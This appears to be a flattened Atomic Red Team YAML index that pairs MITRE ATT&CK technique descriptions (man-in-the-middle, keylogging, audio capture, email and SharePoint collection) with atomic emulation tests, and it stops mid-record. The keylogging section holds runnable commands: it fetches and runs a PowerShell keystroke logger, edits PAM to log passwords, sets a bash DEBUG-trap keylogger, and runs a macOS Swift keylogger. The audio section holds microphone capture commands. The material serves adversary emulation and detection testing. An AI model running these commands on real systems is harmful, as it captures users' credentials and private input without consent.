Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project - NEC x_mitre_deprecated: false x_mitre_detection: Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - macOS - Linux - Network x_mitre_version: '2.4' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Content' - 'Windows Registry: Windows Registry Key Modification' - 'Network Traffic: Network Traffic Flow' - 'Service: Service Creation' type: attack-pattern id: attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d created: '2020-02-11T19:07:12.114Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1557 external_id: T1557 - source_name: dns_changer_trojans description: Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021. url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats - source_name: volexity_0day_sophos_FW description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.' url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - source_name: taxonomy_downgrade_att_tls description: Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021. url: https://arxiv.org/abs/1809.05681 - source_name: ad_blocker_with_miner description: Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021. url: https://securelist.com/ad-blocker-with-miner-included/101105/ - source_name: Token tactics description: 'Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.' url: https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/ - source_name: mitm_tls_downgrade_att description: praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021. url: https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/ - source_name: Rapid7 MiTM Basics description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020. url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/ - source_name: tlseminar_downgrade_att description: Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021. url: https://tlseminar.github.io/downgrade-attacks/ - source_name: ttint_rat description: 'Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.' url: https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1056.001: technique: modified: '2023-10-01T14:01:12.167Z' name: 'Input Capture: Keylogging' description: "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - TruKno x_mitre_deprecated: false x_mitre_detection: 'Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - macOS - Linux - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'Driver: Driver Load' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Modification' type: attack-pattern id: attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4 created: '2020-02-11T18:58:11.791Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1056/001 external_id: T1056.001 - source_name: Talos Kimsuky Nov 2021 description: An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021. url: https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html - source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - source_name: Adventures of a Keystroke description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.' url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1056.001 atomic_tests: - name: Input Capture auto_generated_guid: d9b633ca-8efb-45e6-b838-70f595c6ae26 description: | Utilize PowerShell and external resource to capture keystrokes [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1) Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1) Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log. supported_platforms: - windows input_arguments: filepath: description: Name of the local file, include path. type: path default: "$env:TEMP\\key.log" dependencies: - description: 'Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1 ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") -Force | Out-Null Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" executor: command: '&"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath #{filepath} ' cleanup_command: 'Remove-Item $env:TEMP\key.log -ErrorAction Ignore ' name: powershell elevation_required: true - name: Living off the land Terminal Input Capture on Linux with pam.d auto_generated_guid: 9c6bdb34-a89f-4b90-acb1-5970614c711b description: "Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log. All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.\n\nPasswords hidden by the console can also be logged, with 'log_passwd' as in this example. If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command).\n\nUse 'aureport --tty' or other audit.d reading tools to read the log output, which is binary. Mac OS does not currently contain the pam_tty_audit.so library. \n" dependencies: - description: 'Checking if pam_tty_audit.so is installed ' prereq_command: 'test -f ''/usr/lib/pam/pam_tty_audit.so -o /usr/lib64/security/pam_tty_audit.so'' ' get_prereq_command: 'echo "Sorry, you must install module pam_tty_audit.so and recompile, for this test to work" ' supported_platforms: - linux executor: command: | if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk sudo touch /tmp/system-auth.bk sudo echo "session required pam_tty_audit.so enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session required pam_tty_audit.so enable=* log_password" >> /etc/pam.d/system-auth cleanup_command: | sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth name: sh elevation_required: true - name: Logging bash history to syslog auto_generated_guid: 0e59d59d-3265-4d35-bebd-bf5c1ec40db5 description: "There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable and can be configured to write the latest \"bash history\" entries to the syslog.\n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires to be run in a bash shell and that logger and tee are installed. ' prereq_command: | if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")' echo "\$PROMPT_COMMAND=$PROMPT_COMMAND" tail /var/log/syslog cleanup_command: 'unset PROMPT_COMMAND ' - name: Logging sh history to syslog/messages auto_generated_guid: b04284dc-3bd9-4840-8d21-61b8d31c99f2 description: "There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable and can be configured to write the latest \"bash history\" entries to the syslog.\n\nTo gain persistence the command could be added to the users .shrc or .profile \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires to be run in a bash shell and that logger and tee are installed. ' prereq_command: | if [ "$(echo $SHELL)" != "/bin/sh" ]; then echo -e "\n***** sh not running! *****\n"; exit 1; fi if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | PS2=`logger -t "$USER" -f ~/.sh_history` $PS2 tail /var/log/messages cleanup_command: 'unset PS2 ' - name: Bash session based keylogger auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258 description: "When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. \n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires to be run in a bash shell ' prereq_command: 'if [ "$(echo $0)" != "bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi ' get_prereq_command: 'echo "" ' input_arguments: output_file: description: File to store captured commands type: string default: "/tmp/.keyboard.log" executor: name: bash elevation_required: false command: | trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG echo "Hello World!" cat #{output_file} cleanup_command: 'rm #{output_file} ' - name: SSHD PAM keylogger auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca description: 'Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires sshd and auditd ' prereq_command: | if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi get_prereq_command: 'echo "" ' input_arguments: user_account: description: Basic ssh user account for testing. type: string default: ubuntu executor: name: sh elevation_required: true command: "cp -v /etc/pam.d/sshd /tmp/\necho \"session required pam_tty_audit.so disable=* enable=* open_only log_passwd\" >> /etc/pam.d/sshd\nsystemctl restart sshd\nsystemctl restart auditd\nssh #{user_account}@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit\n" cleanup_command: 'cp -fv /tmp/sshd /etc/pam.d/ ' - name: Auditd keylogger auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af description: "The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires sshd and auditd ' prereq_command: 'if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi ' get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: "auditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start $(date +\"%d/%m/%y %H:%M:%S\") \n" cleanup_command: 'systemctl restart auditd ' - name: MacOS Swift Keylogger auto_generated_guid: aee3a097-4c5c-4fff-bbd3-0a705867ae29 description: | Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required. Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring. Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74 supported_platforms: - macos input_arguments: swift_src: description: Location of swift script type: path default: PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift dependency_executor_name: bash dependencies: - description: 'swift script must exist at #{swift_src}, and the terminal must have input monitoring permissions. ' prereq_command: 'if [ -f #{swift_src} ]; then chmod +x #{swift_src}; else exit 1; fi ' get_prereq_command: 'echo "" ' executor: command: 'swift #{swift_src} -keylog ' cleanup_command: 'kill `pgrep swift-frontend` ' name: bash elevation_required: false T1602: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74 created: '2020-10-19T23:46:13.931Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1602 url: https://attack.mitre.org/techniques/T1602 - source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3 description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020. - source_name: US-CERT TA17-156A SNMP Abuse 2017 url: https://us-cert.cisa.gov/ncas/alerts/TA17-156A description: US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020. - source_name: US-CERT-TA18-106A url: https://www.us-cert.gov/ncas/alerts/TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. x_mitre_deprecated: false revoked: false description: |- Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices. Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Data from Configuration Repository x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1213.002: technique: x_mitre_platforms: - Windows - Office 365 x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a type: attack-pattern created: '2020-02-14T13:35:32.938Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1213.002 url: https://attack.mitre.org/techniques/T1213/002 - url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2 description: Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018. source_name: Microsoft SharePoint Logging modified: '2022-04-25T14:00:00.188Z' name: Sharepoint description: | Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: "The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n" x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Application Log: Application Log Content' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1123: technique: modified: '2024-01-23T22:53:18.389Z' name: Audio Capture description: |- An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019) Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_deprecated: false x_mitre_detection: |- Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967 created: '2017-05-31T21:31:34.528Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1123 external_id: T1123 - source_name: ESET Attor Oct 2019 description: 'Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.' url: https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1123 atomic_tests: - name: using device audio capture commandlet auto_generated_guid: 9c3ad250-b185-4444-b5a9-d69218a10c95 description: "[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n" supported_platforms: - windows executor: command: 'powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet ' name: powershell - name: Registry artefact when application use microphone auto_generated_guid: 7a21cce2-6ada-4f7c-afd9-e1e9c481e44a description: "[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)\n" supported_platforms: - windows executor: command: | reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f cleanup_command: 'reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /f ' name: command_prompt - name: using Quicktime Player auto_generated_guid: c7a0bb71-70ce-4a53-b115-881f241b795b description: | Use AppleScript to get Quicktime Player to record an audio file from the default microphone. Should create a non-empty m4a file with sound from the microphone. - requires Automation permissions but no additional microphone permissions - saves file in /tmp by default. Other locations likely to require more permissions. supported_platforms: - macos input_arguments: filename: description: Location of the script type: path default: PathToAtomicsFolder/T1123/src/T1123.sh audiofile: description: Location of the recorded audio file type: path default: "/tmp/T1123.m4a" duration: description: Length of recording to make in seconds type: integer default: 5 executor: command: 'sh #{filename} #{audiofile} #{duration} ' cleanup_command: | if test -w #{audiofile}; then rm #{audiofile} fi name: sh T1560.003: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b type: attack-pattern created: '2020-02-20T21:09:55.995Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1560.003 url: https://attack.mitre.org/techniques/T1560/003 - url: http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf description: 'ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.' source_name: ESET Sednit Part 2 modified: '2021-04-29T14:49:39.188Z' name: Archive via Custom Method description: 'An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'Script: Script Execution' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1114: technique: modified: '2023-09-29T21:06:03.098Z' name: Email Collection description: 'Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC) x_mitre_deprecated: false x_mitre_detection: |- There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection. File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity. Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Office 365 - Google Workspace - macOS - Linux x_mitre_version: '2.5' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Application Log: Application Log Content' - 'Network Traffic: Network Connection Creation' - 'File: File Access' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f created: '2017-05-31T21:31:25.454Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1114 external_id: T1114 - source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2 description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019. url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1025: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - William Cain object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec type: attack-pattern created: '2017-05-31T21:30:31.584Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1025 external_id: T1025 modified: '2022-04-25T14:00:00.188Z' name: Data from Removable Media description: "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Access' x_mitre_system_requirements: - Privileges to access removable media drive and files x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1074.001: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Massimiliano Romano, BT Security object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c created: '2020-03-13T21:13:10.467Z' 